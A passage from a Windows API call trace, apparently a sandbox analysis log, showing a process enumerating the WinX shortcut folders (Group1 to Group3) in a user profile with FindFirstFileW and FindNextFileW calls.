ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.989] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0179.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.989] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX", lpFilePart=0x0) returned 0x34 [0179.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.989] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX", lpFilePart=0x0) returned 0x34 [0179.989] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc87ee20a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f890 [0179.989] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc87ee20a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.989] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2fcdc89b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2fcdc89b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group1", cAlternateFileName="")) returned 1 [0179.990] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2fdc1691, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2fdc1691, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group2", cAlternateFileName="")) returned 1 [0179.990] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x71128d69, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71128d69, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group3", cAlternateFileName="")) returned 1 [0179.990] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x71128d69, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71128d69, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group3", cAlternateFileName="")) returned 0 [0179.990] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0179.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.990] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX", lpFilePart=0x0) returned 0x34 [0179.990] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc87ee20a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.990] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc87ee20a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.991] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2fcdc89b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2fcdc89b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group1", cAlternateFileName="")) returned 1 [0179.991] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2fdc1691, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2fdc1691, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group2", cAlternateFileName="")) returned 1 [0179.991] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x71128d69, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71128d69, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Group3", cAlternateFileName="")) returned 1 [0179.991] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.991] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.991] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", lpFilePart=0x0) returned 0x3b [0179.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.991] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", lpFilePart=0x0) returned 0x3b [0179.991] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2fcdc89b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2fcdc89b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0179.992] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2fcdc89b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2fcdc89b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.992] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21191ff2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21191ff2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 - Desktop.lnk", cAlternateFileName="1-DESK~1.LNK")) returned 1 [0179.992] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x349ce1cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x349ce1cf, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0179.992] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.992] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0179.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.992] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", lpFilePart=0x0) returned 0x3b [0179.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.992] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", lpFilePart=0x0) returned 0x3b [0179.992] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2fdc1691, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2fdc1691, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0179.993] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2fdc1691, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2fdc1691, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.993] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21191ff2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21191ff2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61d8dd66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 - Run.lnk", cAlternateFileName="1-RUN~1.LNK")) returned 1 [0179.994] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21191ff2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21191ff2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61d67afb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 - Search.lnk", cAlternateFileName="2-SEAR~1.LNK")) returned 1 [0179.994] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21191ff2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21191ff2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61d8dd66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="3 - Windows Explorer.lnk", cAlternateFileName="3-WIND~1.LNK")) returned 1 [0179.994] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21191ff2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21191ff2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61d67afb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="4 - Control Panel.lnk", cAlternateFileName="4-CONT~1.LNK")) returned 1 [0179.994] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2116bd92, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2116bd92, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61d8dd66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="5 - Task Manager.lnk", cAlternateFileName="5-TASK~1.LNK")) returned 1 [0179.994] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x349a7f84, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x349a7f84, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0179.994] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.994] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0179.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.995] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", lpFilePart=0x0) returned 0x3b [0179.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.995] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", lpFilePart=0x0) returned 0x3b [0179.995] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x71128d69, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71128d69, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0179.996] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x71128d69, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71128d69, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.996] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2116bd92, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2116bd92, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61dda244, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="01 - Command Prompt.lnk", cAlternateFileName="01-COM~1.LNK")) returned 1 [0179.997] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2116bd92, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2116bd92, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61d67afb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="01a - Windows PowerShell.lnk", cAlternateFileName="01A-WI~1.LNK")) returned 1 [0179.997] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2116bd92, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2116bd92, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61dda244, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x423, dwReserved0=0x0, dwReserved1=0x0, cFileName="02 - Command Prompt.lnk", cAlternateFileName="02-COM~1.LNK")) returned 1 [0179.997] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2116bd92, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2116bd92, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="02a - Windows PowerShell.lnk", cAlternateFileName="02A-WI~1.LNK")) returned 1 [0179.997] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2116bd92, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2116bd92, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61d67afb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="03 - Computer Management.lnk", cAlternateFileName="03-COM~1.LNK")) returned 1 [0179.997] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21145b33, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21145b33, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61d8dd66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="04 - Disk Management.lnk", cAlternateFileName="04-DIS~1.LNK")) returned 1 [0179.997] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e390aa6, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x3e390aa6, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="04-1 - Network Connections.lnk", cAlternateFileName="")) returned 1 [0179.997] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21145b33, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21145b33, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61d67afb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62e, dwReserved0=0x0, dwReserved1=0x0, cFileName="04-1 - NetworkStatus.lnk", cAlternateFileName="04-1-N~1.LNK")) returned 1 [0179.997] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21145b33, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21145b33, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x433, dwReserved0=0x0, dwReserved1=0x0, cFileName="05 - Device Manager.lnk", cAlternateFileName="05-DEV~1.LNK")) returned 1 [0179.998] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e36a870, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x3e36a870, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="06 - System.lnk", cAlternateFileName="")) returned 1 [0179.998] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21145b33, ftCreationTime.dwHighDateTime=0x1d32742, 